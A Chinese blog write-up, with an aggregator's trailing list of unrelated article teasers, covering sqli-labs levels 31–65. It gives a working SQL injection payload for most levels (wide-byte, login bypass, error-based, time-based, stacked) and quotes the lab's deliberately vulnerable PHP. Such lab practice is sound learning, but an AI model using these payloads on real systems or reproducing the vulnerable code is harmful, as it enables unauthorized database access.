sqli靶场完结篇!!!!

靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!

31.多个)号

先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc

321313132"+union+select+2,user(),"2

于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西

换句poc?发现就能成功bypasss

321313132")+union+select+2,user(),("2

32.宽字节注入

当我们添加一个' 就能看见这样的回显

那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤

于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询

33.你三十二关再考我一次是吧?

这题还以为有什么过滤,结果发现和上一关一摸一样

                         玩我是吧

34.宽字节登录

首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录

由于先测试一下注入的姿势,能发现是宽字节的过滤

于是就有poc:

admin%df'or+1=1--+

成功登录

35.why_care_for_addslahes()

做这题真就有种打ctf的感觉了,有意思       

首先一顿操作猛如虎,先加一个单引号,猜测是宽字节

然后就发现为啥啥都过滤但是却报错???

无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说

 :“单引号报错,两个引号不报错

不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程

  1. 原来:select * from users where id='1' ;
  2. 开始注入: select * from users where id='1 %df/ '  %df/'   ';
  3. 然后就会被解释成 select * from users where id='1運'  運'';

这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型   也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc

0+union+select+1,database(),user()--+

所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!

36.mysql_real_escape_string

这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)

0%df'+union+select+1,user(),database()--+

37.你三十四关又又又考完一次是吧??

这个和三十四关又是一样的

我belike: 不多说,直接上poc

admin%df'+or+1=1--+

38.堆叠注入

这个我在我之前的blog里面讲过,就不多赘述了

39.堆叠注入但是数字型

这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了

                        

40.Seems 这个代码有点问题??

做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写

0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+

你就会发现,他们都是可以的,难道这一关就止步于此???

于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?

访问login.php,发现报错

于是我就发现问题出现在了login.php那里,一起来看代码

$login = sqllogin();
if (!$login== 0) 
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */header('Location: logged-in.php');
} 
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
} 

其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好

function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);print_r($row) ;if ($row[1]) {echo $row[1];} else {return 0;}}

来审计一下代码:

  • 首先就是mysql_real_escape_string函数,用来将特殊字符转义
  • 接着就是查询
  • 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :(  然后结束程序
  • 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况

所以就在url拼接login_user 和 login_password这两个字段就好

但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题

41.考了个啥,还是堆叠???

这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了

查看了源代码才发现原来是堆叠注入,那也不多赘述了

42.Password字段没有过滤

尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错

于是就开始我们的poc

password=1'+or+1='1 

其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!

43.还是多一个()

这题其实和上一题一模一样 就是多一个() 先上poc

password=admin')or+1=1--+

然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构

$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";

于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答

admin'+or+1=1--+

soga~~~原来如此

44.和四十二关一样

不知道为什么他的答案和四十二关一样,那就直接上poc了

password=admin'+or+1=1--+

45.又是多个()

这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc

login_password=admin')or+1=1--+

46.报错,报错

这一题有点新颖,这种一看就知道是order by的查询语句

其实这种还挺难搞

  • 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
  • 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响 
  • 而且源代码里面还不存在堆叠注入的点

所以这里只能报错注入了,上poc

3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

 

这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了

47.多了个' 号

这题其实就是和上面的那一题一样 只不过多一个 ' 而已

3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))

48.盲注

这题更离谱,它直接啥都不给你了,于是可以盲注

3'+and+sleep(1)

但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????

                                

49.和上一关一样,但是字符型

这一关就和上一关一样,不过是字符型

50.可以堆叠,但是条件苛刻

这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样

if ($result = mysqli_store_result($con1)){while($row = mysqli_fetch_row($result)){echo '<font color= "#00FF11" size="3">';		echo "<tr>";echo "<td>";printf("%s", $row[0]);echo "</td>";echo "<td>";printf("%s", $row[1]);echo "</td>";echo "<td>";printf("%s", $row[2]);echo "</td>";echo "</tr>";echo "</font>";		}

能成功地返回这样的结果,也可谓是十分困难了吧

51.我选择报错

这一关就直接报错注入就好了

1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+

52.我选择延时注入

poc:

sort=1+and+sleep(1) 

53.我还是选择延时注入

poc:

1'+and+sleep(4324324342)--+

54.你能在十次以内做出来吗???

这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:

111111'+union+select+1,database(),user()--+ 

 你怎么知道我刚好在第十次猜出来了哈哈哈

55. 正常注入

还是和上面一样多试试就出来了

32131313123122)%20union%20select%201,database(),user()--+

56.多一个 ' 无伤大雅

这个其实就是我们前面练的多的,不多说

)+union+select+1,user(),('1 

57.换成" 还是无伤大雅

不多说,救赎之道,就在标题 上poc

?id=3213113211"%20union+select%201,user(),database()--+

58.??再看多一眼??

这题一开始没做出来,去看了题解,才恍然大雾

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">';	$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";

看似一切正常,啥都不过滤,但是细看发现:     
   你的输出是什么鬼?????

所以这里只能报错注入了

1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+

 59.数字型的58关

不多赘述 ,"救赎之道,就在标题 " 

60.变成了 ")

poc:

id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+

61.你没题出了是吧???

不多说,先来看看源码

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

 不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了

id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

62.没有回显,但是延时注入

这一关是没有回显的,所以我们可以采用sleep来注入

id=1') and sleep(21)--+

63.还是62关,但是没有括号

这一关只是没有括号而已

?id=1%27and%20sleep(323)--+

64.又是))是吧???

这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好

?id=1))and%20if(length(database())=10,1,0)=1--+

65.完结撒花,但是有 "

这里也是不多说,直接上poc:

id=1")and%20if(length(database())=10,1,0)=1--+

终于,up的sqli靶场打完了 ,打的人都快麻了  ,先存一下小编的笔记,以后回来复习(如果记得的话)

        ​​​​​​​        ​​​​​​​        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/673663.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

今日头条推出秒真问答 布局抖音口碑时机来了

近来&#xff0c;今日头条对部分业务做出调整。一方面是将“头条百科”升级为“抖音百科”&#xff0c;通过“抖音百科”这个新品牌&#xff0c;更好的为今日头条和抖音的内容场景服务。另外一方面则是&#xff0c;推出全新的问答业务“秒真问答”&#xff0c;目前已经在抖音和…

next项目页面性能调优

next项目页面性能调优 一般来说性能优化可以分为加载时、运行时两部分的优化。 扩展参考链接&#xff1a; 前端性能优化 24 条建议 Webpack 4进阶–从前的日色变得慢 &#xff0c;一下午只够打一次包 Webpack 分包优化首屏加载 参考指标 FCP&#xff08;First Contentful P…

java生成二维码

1、引入pom依赖 <dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.3.3</version> </dependency> <dependency><groupId>com.google.zxing</groupId><artifact…

Android 自定义BaseFragment

直接上代码&#xff1a; BaseFragment代码&#xff1a; package com.example.custom.fragment;import android.content.Context; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import androidx…

【网络技术】【Kali Linux】Nmap 嗅探(一)简单扫描

一、实验环境 本次实验进行简单的Nmap扫描&#xff0c;实验使用 Kali Linux 虚拟机和 Ubuntu Linux 虚拟机完成&#xff0c;主机操作系统为 Windows 11&#xff0c;虚拟化平台选择 Oracle VM VirtualBox&#xff0c;如下图所示。 二、实验步骤 1、相关配置 Kali Linux 虚拟机…

第十一个知识点:操控BOM对象

BOM&#xff1a;浏览器对象模型 --- B/S、Object、Model window navigator screen location document history window:操作浏览器窗口 //我们可以通过一些指令控制浏览器 window.alert();//弹窗 window.innerwidth;//获取浏览器页面宽度navigator:封装了浏览器的信息…

OpenCV-32 膨胀操作

膨胀是与腐蚀相反的操作&#xff0c;基本原理是只要保证卷积核的锚点是非0值&#xff0c;周边无论是0还是非0值&#xff0c;都变为0。 使用API---dilate&#xff08;img&#xff0c; kernel&#xff0c; iterationms 1&#xff09; 示例代码如下&#xff1a; import cv2 imp…

【翻译】 Processing的安卓项目构建(译者用的是Android Studio)

原文链接&#xff1a;https://github.com/processing/processing-android/wiki/Building-Processing-for-Android&#xff0c;版本Apr 2, 2023 译者声明&#xff1a;这个文档是开源公开的&#xff0c;协议是GNU协议。译者自己得使用这个文档&#xff0c;所以才翻译的&#xff0…

常用对象和常用成员函数

常量对象与常量成员函数来防止修改对象&#xff0c;实现最低权限原则。 在Obj被定义为常量对象的情况下&#xff0c;下面这条语句是错误的。 错误的原因是常量对象一旦初始化后&#xff0c;其值就再也不能改变。因此&#xff0c;不能通过常量对象调用普通成员函数&#xff0c;因…

Windows Anaconda 运行 gempy examples。示例::

默认读者已安装&#xff1a;Anaconda. 若未安装请参考以下文章&#xff1a; Windows中如何使用 Anaconda 和 gempy地质建模 1&#xff0c;打开Anaconda Navigator: 打开后如此&#xff1a; 运行JupyterLab: launch。 打开gempy example 建模示例&#xff1a; 官方地址&#x…

医学图像安全性概述

参考文献: Insights into security and privacy issues in smart healthcare systems based on medical images 下图左侧是医疗信息共享系统,右侧是计算机辅助诊疗策略: medical image sharing security (MISS)computer-aided diagnostic (CAD)CAD security (CADS)一般在信…

各款Excel、word在线预览工具对比分析以及onlyoffice预览Excel加载时间长的解决方案

对于onlyoffice插件预览慢的问题分析&#xff1a; 研究了一下onlyoffice&#xff0c;得出以下结论&#xff01; 对于预览慢的问题&#xff0c;原因出在文件类型上&#xff0c;文件类型为低版本xls而非新版xlsx文件&#xff0c;onlyoffice服务器会自动将该文件转换为xlsx文件再…

【开源】基于JAVA+Vue+SpringBoot的停车场收费系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 停车位模块2.2 车辆模块2.3 停车收费模块2.4 IC卡模块2.5 IC卡挂失模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 停车场表3.2.2 车辆表3.2.3 停车收费表3.2.4 IC 卡表3.2.5 IC 卡挂失表 四、系统实现五、核心代码…

spring boot和spring cloud项目中配置文件application和bootstrap中的值与对应的配置类绑定处理

在前面的文章基础上 https://blog.csdn.net/zlpzlpzyd/article/details/136065211 加载完文件转换为 Environment 中对应的值之后&#xff0c;接下来需要将对应的值与对应的配置类进行绑定&#xff0c;方便对应的组件取值处理接下来的操作。 对应的配置值与配置类绑定通过 Con…

3.1-媒资管理之需求分析+搭建Nacos

文章目录 媒资管理模块1 模块需求分析1.1 模块介绍1.2 业务流程1.2.1 上传图片1.2.2 上传视频1.2.3 处理视频1.2.4 审核媒资 2.2 搭建Nacos2.2.1 服务发现中心2.2.2 配置中心2.2.2.1 配置三要素2.2.2.3配置content-api 2.2.3 公用配置2.2.4 配置优先级2.2.5 导入配置文件2.2.6 …

制作jdk17+pinpoint-agent基础镜像

制作jdk17pinpoint-agent基础镜像 本文仅介绍制作镜像&#xff0c;pinpoint 知识不在此介绍&#xff0c;不了解 pinpoint 知识 &#xff0c;请先行学习 1.背景介绍 新搭建的java应用&#xff0c;基于 Springboot3.2.0 Spring6.1.1 jdk17 版本。 从Springboot3开始&#x…

机器学习系列 - Mean Shift聚类

文章目录 前言一、原理前置知识点Mean Shift计算步骤 二、应用举例-图像分割三、聚类实战-简单实例bandwidth1bandwidth2总结 前言 Mean Shift&#xff08;均值漂移&#xff09;是基于密度的非参数聚类算法&#xff0c;其算法思想是假设不同簇类的数据集符合不同的概率密度分布…

Open CASCADE学习|创建多段线与圆

使用Open CASCADE Technology (OCCT)库来创建和显示一些2D几何形状。 主要过程如下&#xff1a; 包含头文件&#xff1a;代码首先包含了一些必要的头文件&#xff0c;这些头文件提供了创建和显示几何形状所需的类和函数。 定义变量&#xff1a;在main函数中&#xff0c;定义…

Java 将TXT文本文件转换为PDF文件

与TXT文本文件&#xff0c;PDF文件更加专业也更适合传输&#xff0c;常用于正式报告、简历、合同等场合。项目中如果有使用Java将TXT文本文件转为PDF文件的需求&#xff0c;可以查看本文中介绍的免费实现方法。 免费Java PDF库 本文介绍的方法需要用到Free Spire.PDF for Java…

开源!免费!Hugging Face推出GPT商城

Hugging Face发布开源AI助手制造工具&#xff0c;与OpenAI的定制GPT形成竞争 Hugging Face今年1月31日推出一款开源AI代码库——Hugging Chat Assistants&#xff0c;允许用户轻松创建特定功能的定制AI聊天机器人。 不同于OpenAI的ChatGPT商城需要每月20美金成为会员才能使用…